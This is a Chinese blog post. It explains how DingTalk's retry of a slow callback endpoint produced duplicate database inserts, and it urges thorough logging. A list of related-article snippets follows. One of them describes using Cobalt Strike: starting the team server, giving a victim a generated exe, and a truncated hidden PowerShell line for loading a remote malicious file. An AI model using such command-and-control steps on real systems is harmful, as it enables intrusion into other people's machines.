往数据库插入数据时出现了多条重复数据

news2024/9/22 13:31:12

业务场景

钉钉端发起审批流程后,会回调开发者后台的callback接口,然后callback接口逻辑处理时会对一些数据做入库处理,但是突然发现数据库中出现了很多重复的数据

问题发现

业务代码进行断点,发现并无异常,就是一条insert按理说就应该入库一次,初次问题排查失败。

然后去查日志将插入数据的日志拉出,发现打出的info日志中,出现了多条线程跑入数据的情况,如下:http-nio-10888-exec-线程,分别出现了9、5、8、7、2

请添加图片描述

然后怀疑多线程,但是查询业务代码后发现并没有多线程的写法。

最后在同事的提醒下,怀疑可能是callback接口响应时间太长,导致钉钉方以为接口调取失败了,触发了重试机制,再次对callback接口发起了请求,故而出现了这种多线程请求的情况。

然后对各处业务代码加日志,打印时间。

请添加图片描述

果不其然,发现了有一处地方调用时间长达7000+ms,把这个地方代码修复后(干掉),程序恢复正常!

警示!!!

写代码调取三方接口或者写一些逻辑复杂的处理时,一定要进行日志打印,并且将一些重要的参数打印清楚,否则将大大增加后期排查时间成本。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/713978.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

探索思维导图:提升思维能力与效率的利器

思维导图作为一种强大的思考工具,已经被广泛应用于各个领域,从学习、工作到创意思维和项目管理。 本文将为您介绍思维导图的基本概念、使用方法以及它对思维能力和效率提升的价值。通过学习和掌握思维导图,您将能够更系统地组织和表达您的思…

scss中写3元运算

为真选第1个参数,为假选第2个参数 前端基础——sass的使用_sass 三元运算_ccopcx的博客-CSDN博客

LabVIEW进行临床肝透析试验

LabVIEW进行临床肝透析试验 慢性肾衰竭患者可以在透析或肾移植的帮助下大大延长其预期寿命。肝病患者需要与透析相当的治疗作为肝移植的替代方案。肾透析可清除患者血液中的水基毒素,肝脏透析需要消除与蛋白质相关的毒素。 为了降低肝病患者的高死亡率&#xff0c…

JNPF可视化平台的搭建及使用

目录 一、前言 二、可视化平台介绍 三、搭建可视化平台 【表单设计】 【报表设计】 【流程设计】 【代码生成器】 四、使用可视化平台 前后端分离: 多数据源: 预置功能: 私有化部署: 五、总结 一、前言 可视化低代码平台是一种快速…

项目打包exe文件

1。先准备exe4j VM Parameters后面要写上 -Dfile.encodingutf-8 不是很重要 因为是springboot项目在打包成exe的时候会出现不能运行的问题 所以在Main class from Class Path这里填(org.springframework.boot.loader.JarLauncher) 这样打包就好了

Android View 事件派发流程

原文链接 Android View 事件派发流程 自从乔帮主横空出世推出了iPhone以来,触控式的操作便成了21世纪智能设备的标准输入方式。对于同是智能操作系统的Android来说,也不例外。事件,特别是触控事件对于移动应用程序开发来说是一个非常重要的&…

Docker容器中应用部署

Docker应用部署 在Docker容器中部署MySQL,并通过外部的mysql客户端操作MySQL Server 一、Mysql部署 端口映射 容器内的网络服务和外部机器不能直接通信外部机器和宿主机可以通信宿主机和容器可以直接通信当容器中的网络服务需要被外部访问的时候,可以把…

语音识别模型whisper的参数说明

一、whisper简介: Whisper是一种通用的语音识别模型。它是在各种音频的大型数据集上训练的,也是一个多任务模型,可以执行多语言语音识别、语音翻译和语言识别。 二、whisper的参数 1、-h, --help 查看whisper的参数 2、--model {tiny.en…

分布式锁及实现方式

一、背景 什么是锁? 在单进程的系统中,当存在多个线程可以同时改变某个变量(可变共享变量)时,就需要对变量或代码块做同步,使其在修改这种变量时能够线性执行消除并发修改变量。而同步的本质是通过锁来实…

cobaltstrike使用

./teamserver 192.168.137.4 # 启动服务端 ./cobaltstrike # 启动客户端先创建一个监听Listener 1. exe 生成exe文件后,传给靶机,让其执行 2. powershell 在靶机中执行下面这段代码即可,就是远程恶意文件加载 powershell.exe -nop -w hi…

flask +vue3 cas 单点登录(sso)

最近在研究前端vue3ts 后端使用flask 搭建的系统涉及到单点登录问题,这里进行一次总结。 关于cas 单点登录的逻辑,网上介绍的很详细,我这里就说说,我所理解的单点登录: 主要是2种情形: 1.通过平台登录之后 调用子系…

[Qt 教程之Widgets模块] —— QFontComboBox 字体选择器

Qt系列教程总目录 文章目录 3.2.1 创建 QFontComboBox3.2.2 成员函数1. 书写系统2. 字体过滤器3. 当前字体4. 信号 该控件用于选择字体,在一些软件中经常有类似控件,如下: Microsoft Office: Photoshop: QFontComboB…

1759_C语言中冒泡排序的实现以及新编译环境测试

全部学习汇总: GreyZhang/c_basic: little bits of c. (github.com) 最近在重新学习C语言的数据结构,找了一份国外的电子书一点点看。刚刚学完双向链表,接下来的任务是搞定几个常用的排序。 冒泡排序还算是我比较熟悉的,工作之后…

Java数据结构和算法-----数组

1、Java数组介绍 在Java中,数组是用来存放同一种数据类型的集合,注意只能存放同一种数据类型(Object类型数组除外)。 ①、数组的声明 第一种方式: 1 数据类型 [] 数组名称 new 数据类型[数组长度]; 这里 [] 可以放在数组名称的前面&#…

Idea整合Maven安装及配置教程(图文详解)

目录 友情提醒第一章、Maven概述1.1)Maven是什么1.2)Maven进行构建(build)的主要环节 第二章、Maven的下载安装和配置2.1)Maven的下载2.2)Maven环境变量配置2.3)Maven文件setting的配置 第三章、…

python+selenium自动化测试学习—手动搭建selenium环境

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 pythonselenium自动化测试学习—手动搭建selenium环境 一、简介二、安装selenium三、下载浏览器驱动四、搭建selenium环境 一、简介 selenium是一个免费开源的,仅…

FOC-滑膜控制器SMC/滑膜观测器SMO

目录 前面 滑膜速度控制器 控制器所处位置 理论设计 模型搭建 滑膜观测器 基本原理 反正切函数 锁相环 滑膜观测器模型(反正切) 滑膜观测器C代码实现 SMO.c SMO.h 前面 滑膜常见用处有两个: 1、作为滑膜控制器SMC,…

日本电子电器PSE认证METI备案、结构分析函报告详细解答

PSE认证是日本强制性安全认证,用以证明电子电气产品已通过日本电气和原料安全法 (DENAN Law) 或国际IEC标准的安全标准测试,457种产品进入日本市场必须通过PSE认证,其中,116种A类产品为特定电器和材料类,须获取认证并加…

机器学习中的Embeddings是什么

嵌入已经渗透到数据科学家的工具包中,并极大地改变了 NLP、计算机视觉和推荐系统的工作方式。然而,许多数据科学家发现它们过时且令人困惑。更多的人在不了解它们是什么的情况下盲目地使用它们。在本文中,我们将深入探讨嵌入是什么、它们如何…

【vue3】14-Vue全家桶-VueX状态管理

Vue全家桶 - VueX状态管理 认识应用状态管理VueX的状态管理 Vuex状态管理详解Vuex的基本使用单一状态树核心概念State组件获取状态setup中获取状态 核心概念Gettersgetters基本使用getters辅助函数 核心概念MutationsMutation基本使用mutation携带数据Mutation常量类型Mutation…